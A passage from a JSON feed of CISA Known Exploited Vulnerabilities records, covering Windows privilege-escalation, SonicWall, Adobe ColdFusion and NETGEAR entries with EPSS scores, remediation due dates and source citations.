CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-15","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-15","dueAt":"2022-04-05","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.04718,"percentile":0.91766,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-0543&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-0543","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-0543 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-0543&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-0543, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-0841","cveId":"CVE-2019-0841","aliases":[],"kind":"vulnerability","title":"Microsoft Windows AppX Deployment Service (AppXSVC) Privilege Escalation Vulnerability","summary":"A privilege escalation vulnerability exists when Windows AppXSVC improperly handles hard links. An attacker who successfully exploited this vulnerability could run processes in an elevated context.","detail":"CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-15","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-15","dueAt":"2022-04-05","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.414,"percentile":0.98664,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-0841&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-0841","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-0841 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-0841&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-0841, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-1064","cveId":"CVE-2019-1064","aliases":[],"kind":"vulnerability","title":"Microsoft Windows AppX Deployment Service (AppXSVC) Privilege Escalation Vulnerability","summary":"A privilege escalation vulnerability exists when Windows AppXSVC improperly handles hard links. An attacker who successfully exploited this vulnerability could run processes in an elevated context.","detail":"CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-15","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-15","dueAt":"2022-04-05","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.06886,"percentile":0.94023,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-1064&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-1064","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-1064 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-1064&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-1064, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-1069","cveId":"CVE-2019-1069","aliases":[],"kind":"vulnerability","title":"Microsoft Task Scheduler Privilege Escalation Vulnerability","summary":"A privilege escalation vulnerability exists in the way the Task Scheduler Service validates certain file operations.","detail":"CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-15","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Task Scheduler","stacks":["Microsoft","Task Scheduler"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-15","dueAt":"2022-04-05","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.06117,"percentile":0.93383,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-1069&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-1069","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-1069 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-1069&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-1069, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-1129","cveId":"CVE-2019-1129","aliases":[],"kind":"vulnerability","title":"Microsoft Windows AppX Deployment Service (AppXSVC) Privilege Escalation Vulnerability","summary":"A privilege escalation vulnerability exists when Windows AppXSVC improperly handles hard links. An attacker who successfully exploited this vulnerability could run processes in an elevated context.","detail":"CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-15","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-15","dueAt":"2022-04-05","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01782,"percentile":0.78117,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-1129&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-1129","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-1129 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-1129&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-1129, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-1132","cveId":"CVE-2019-1132","aliases":[],"kind":"vulnerability","title":"Microsoft Win32k Privilege Escalation Vulnerability","summary":"A privilege escalation vulnerability exists in Windows when the Win32k component fails to properly handle objects in memory.","detail":"CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-15","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Win32k","stacks":["Microsoft Windows","Microsoft","Win32k"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-15","dueAt":"2022-04-05","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.09867,"percentile":0.95533,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-1132&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-1132","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-1132 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-1132&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-1132, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-1253","cveId":"CVE-2019-1253","aliases":[],"kind":"vulnerability","title":"Microsoft Windows AppX Deployment Server Privilege Escalation Vulnerability","summary":"A privilege escalation vulnerability exists when the Windows AppX Deployment Server improperly handles junctions.","detail":"CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-15","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-15","dueAt":"2022-04-05","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.11616,"percentile":0.96015,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-1253&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-1253","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-1253 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-1253&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-1253, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-1315","cveId":"CVE-2019-1315","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Error Reporting Manager Privilege Escalation Vulnerability","summary":"A privilege escalation vulnerability exists when Windows Error Reporting manager improperly handles hard links. An attacker who successfully exploited this vulnerability could overwrite a targeted file leading to an elevated status.","detail":"CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-15","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-15","dueAt":"2022-04-05","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.03478,"percentile":0.89014,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-1315&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-1315","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-1315 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-1315&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-1315, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-1322","cveId":"CVE-2019-1322","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Privilege Escalation Vulnerability","summary":"A privilege escalation vulnerability exists when Windows improperly handles authentication requests. An attacker who successfully exploited this vulnerability could run processes in an elevated context.","detail":"CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-15","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-15","dueAt":"2022-04-05","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.18843,"percentile":0.97266,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-1322&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-1322","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-1322 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-1322&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-1322, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2019-1405","cveId":"CVE-2019-1405","aliases":[],"kind":"vulnerability","title":"Microsoft Windows Universal Plug and Play (UPnP) Service Privilege Escalation Vulnerability","summary":"A privilege escalation vulnerability exists when the Windows UPnP service improperly allows COM object creation.","detail":"CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-15","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-15","dueAt":"2022-04-05","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.30168,"percentile":0.98205,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2019-1405&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2019-1405","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2019-1405 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2019-1405&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2019-1405, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2020-5135","cveId":"CVE-2020-5135","aliases":[],"kind":"vulnerability","title":"SonicWall SonicOS Buffer Overflow Vulnerability","summary":"A buffer overflow vulnerability in SonicOS allows a remote attacker to cause Denial of Service (DoS) and potentially execute arbitrary code by sending a malicious request to the firewall.","detail":"CISA added this entry on 2022-03-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-15","updatedAt":null,"regions":["Global"],"vendor":"SonicWall","product":"SonicOS","stacks":["SonicWall","SonicOS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-15","dueAt":"2022-04-05","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.26869,"percentile":0.98021,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2020-5135&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2020-5135","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-15","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2020-5135 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2020-5135&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2020-5135, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2009-3960","cveId":"CVE-2009-3960","aliases":[],"kind":"vulnerability","title":"Adobe BlazeDS Information Disclosure Vulnerability","summary":"Adobe BlazeDS, which is utilized in LifeCycle and Coldfusion, contains a vulnerability that allows for information disclosure.","detail":"CISA added this entry on 2022-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-07","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"BlazeDS","stacks":["Adobe","BlazeDS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-07","dueAt":"2022-09-07","action":"Apply updates per vendor instructions.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.90118,"percentile":0.99794,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2009-3960&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2009-3960","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2009-3960 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2009-3960&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2009-3960, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-0625","cveId":"CVE-2013-0625","aliases":[],"kind":"vulnerability","title":"Adobe ColdFusion Authentication Bypass Vulnerability","summary":"Adobe Coldfusion contains an authentication bypass vulnerability, which could result in an unauthorized user gaining administrative access.","detail":"CISA added this entry on 2022-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-07","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"ColdFusion","stacks":["Adobe","ColdFusion"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-07","dueAt":"2022-09-07","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.93758,"percentile":0.99842,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-0625&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-0625","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-0625 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-0625&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-0625, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-0629","cveId":"CVE-2013-0629","aliases":[],"kind":"vulnerability","title":"Adobe ColdFusion Directory Traversal Vulnerability","summary":"Adobe Coldfusion contains a directory traversal vulnerability, which could permit an unauthorized user access to restricted directories.","detail":"CISA added this entry on 2022-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-07","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"ColdFusion","stacks":["Adobe","ColdFusion"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-07","dueAt":"2022-09-07","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.65795,"percentile":0.99262,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-0629&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-0629","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-0629 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-0629&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-0629, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2013-0631","cveId":"CVE-2013-0631","aliases":[],"kind":"vulnerability","title":"Adobe ColdFusion Information Disclosure Vulnerability","summary":"Adobe Coldfusion contains an unspecified vulnerability, which could result in information disclosure from a compromised server.","detail":"CISA added this entry on 2022-03-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply updates per vendor instructions.","publishedAt":"2022-03-07","updatedAt":null,"regions":["Global"],"vendor":"Adobe","product":"ColdFusion","stacks":["Adobe","ColdFusion"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2022-03-07","dueAt":"2022-09-07","action":"Apply updates per vendor instructions.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.66413,"percentile":0.99277,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2013-0631&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2013-0631","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2022-03-07","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2013-0631 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2013-0631&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2013-0631, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2016-6277","cveId":"CVE-2016-6277","aliases":[],"kind":"vulnerability","title":"NETGEAR Multiple Routers Remote Code Execution Vulnerability","summary":"NETGEAR confirmed multiple routers allow unauthenticated web pages to pass form input directly to the command-line interface, permitting remote code execution.","detail":"CISA added this entry on 2022-03-07. This record's publication date is the catalog addition date, 